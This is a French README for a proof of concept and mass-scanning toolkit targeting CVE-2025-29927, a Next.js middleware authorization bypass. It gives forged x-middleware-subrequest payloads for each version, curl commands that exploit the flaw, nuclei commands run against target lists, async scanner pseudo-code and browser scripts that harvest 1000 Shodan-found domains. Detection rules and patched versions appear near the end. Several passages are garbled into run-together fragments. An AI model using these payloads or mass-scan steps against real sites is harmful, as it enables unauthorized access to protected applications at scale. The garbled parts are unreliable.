
Preuve de concept et boîte à outils de scan de masse pour CVE-2025-29927, un contournement d'autorisation middleware Next.js via un en-tête x-middleware-subrequest falsifié. Inclut des modèles nuclei et un scanner Python.
Résumé : vulnérabilité dans le middleware de Next.js permettant de contourner les vérifications d'autorisation en falsifiant l'en-tête
x-middleware-subrequest.
J'ai effectué une recherche dans shodan avec le filtre http.headers:"x-middleware-rewrite" et récupéré une liste de 1000 domaines
var ipElements=document.querySelectorAll('strong'),ips=[],domains=[];ipElements.forEach(function(e){var t=e.innerHTML.replace(/['"]/g,'').trim();/^(\d{1,3}.){3}\d{1,3}$/.test(t)?ips.push(t):/^(?!\d+.)[a-zA-Z0-9.-]+.[a-zA-Z]{2,}$/.test(t)&&domains.push(t)});var dataString='IPs:\n'+ips.join('\n')+'\n\nDomains:\n'+domains.join('\n'),a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(dataString);a.download='domains.txt';document.body.appendChild(a);a.click();
var ipElements=document.querySelectorAll('strong');var ips=[];ipElements.forEach(function(e){ips.push(e.innerHTML.replace(/["']/g,''))});var ipsString=ips.join('\n');var a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(ipsString);a.download='ip.txt';document.body.appendChild(a);a.click();
Contexte et historique Dans les premières versions de Next.js, le middleware pouvait déclencher des requêtes internes (sub-requêtes) vers l'application elle-même. Pour éviter les récursions, le framework introduisait des en-têtes HTTP de service — des marqueurs internes indiquant « cette requête a déjà été traitée ». Cette approche était pratique et permettait d'éviter des boucles infinies dans le pipeline du middleware.
Évolution du middleware et charges utiles (payloads) Avant Next.js 12.2, les middleware se trouvaient sous forme de _middleware dans pages/ et pouvaient être imbriqués (pages/_middleware, pages/dashboard/_middleware, etc.). Le payload pouvait spécifier un chemin concret (x-middleware-subrequest: pages/dashboard/_middleware). À partir de 12.2, les middleware sont devenus middleware.js/ts et n'étaient plus dans pages/. Dans ce cas, un payload simple x-middleware-subrequest: middleware (ou src/middleware si src/ est utilisé) fonctionnait souvent. Les versions ultérieures (≥ 13.2.0) ont introduit des vérifications supplémentaires, dont MAX_RECURSION_DEPTH ; dans certaines contournements, des valeurs répétées du type middleware:middleware:... étaient utilisées pour imiter une chaîne imbriquée. En pratique : le format exact du payload dépend de la version de Next.js et de la structure du projet.
Historique du correctif et problème avec x-middleware-subrequest-id Le correctif rapide initial incluait l'idée d'un identifiant interne — x-middleware-subrequest-id — généré et vérifié à l'exécution pour distinguer les sub-requêtes internes valides des falsifications. Cependant, l'implémentation a montré un effet secondaire : cet ID interne pouvait fuiter à l'extérieur (en se retrouvant dans les requêtes fetch/outgoing), créant un nouveau risque. De plus, la signature/synchronisation des identifiants s'est avérée peu fiable dans un contexte de multiples CDN/PoP et d'exécutions mixtes (Edge vs Node). En conséquence, le code avec x-middleware-subrequest-id a été supprimé/remanié ; la solution finale combine des correctifs dans Next.js et des atténuations au niveau plateforme (filtrage des en-têtes internes entrants au niveau ingress/edge).
CVE-2025-29927x-middleware-subrequest. Un client externe peut définir cet en-tête et contourner les contrôles d'accès.x-middleware-subrequest pour prendre une décision d'accès. Ce champ était initialement destiné aux opérations internes du framework, mais des requêtes externes peuvent définir cet en-tête, permettant de contourner l'autorisation.Les plages de versions suivantes sont vulnérables :
>= 11.1.4 et < 12.3.5>= 13.0.0 et < 13.5.9>= 14.0.0 et < 14.2.25>= 15.0.0 et < 15.2.39.1 (CRITIQUE)CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Ngit clone https://github.com/<author>/vulnerable-nextjs-demo.git
cd vulnerable-nextjs-demo
npm install
npm run dev
# sans en-tête — on s'attend à un refus (302/307/401/403)
curl -si http://localhost:3000/protected | head -n 20
# avec en-tête falsifié — si vulnérable, retourne 200 + corps
curl -si -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \ http://localhost:3000/protected | head -n 20
/_next/static/, package.json, en-têtes, hash favicon) — mode sécurisé.x-middleware-subrequest et compare la réponse. Obligatoire d'utiliser rate-limit et throttle.Commande pour lancer (exemple) :
# passif
nuclei -t cves/2025/CVE-2025-29927-passive.yaml -l targets.txt
# actif (contrôlé)
nuclei -t cves/2025/CVE-2025-29927-active.yaml -l targets.txt -c 10 -rate-limit 20
x-middleware-subrequest → comparer le statut et le corps.--concurrency, --delay, --dry-run, --respect-robots.aiohttp / asyncio pour de hautes performances.Pseudo-code court :
async def probe(url):
r1 = await session.get(url)
r2 = await session.get(url, headers={"x-middleware-subrequest": "1"})
if significant_difference(r1, r2):
report_vulnerable(url)
>= 12.3.5, >= 13.5.9, >= 14.2.25, >= 15.2.3.x-middleware-subrequest à la frontière :Exemples de règles/alertes :
SIEM : alerter en cas de requêtes entrantes avec x-middleware-subrequest, si source.ip n'est pas dans trusted_proxies.
Suricata (pseudo) :
alert http any any -> any any (msg:"Requête externe avec X-Middleware-Subrequest"; http.header; content:"x-middleware-subrequest"; sid:1000001; rev:1;)
alerter si request.headers contient "x-middleware-subrequest" ET source.ip n'est pas dans trusted_proxies
https://github.com/<author>/CVE-2025-29927-POChttps://github.com/<author>/vulnerable-nextjs-demo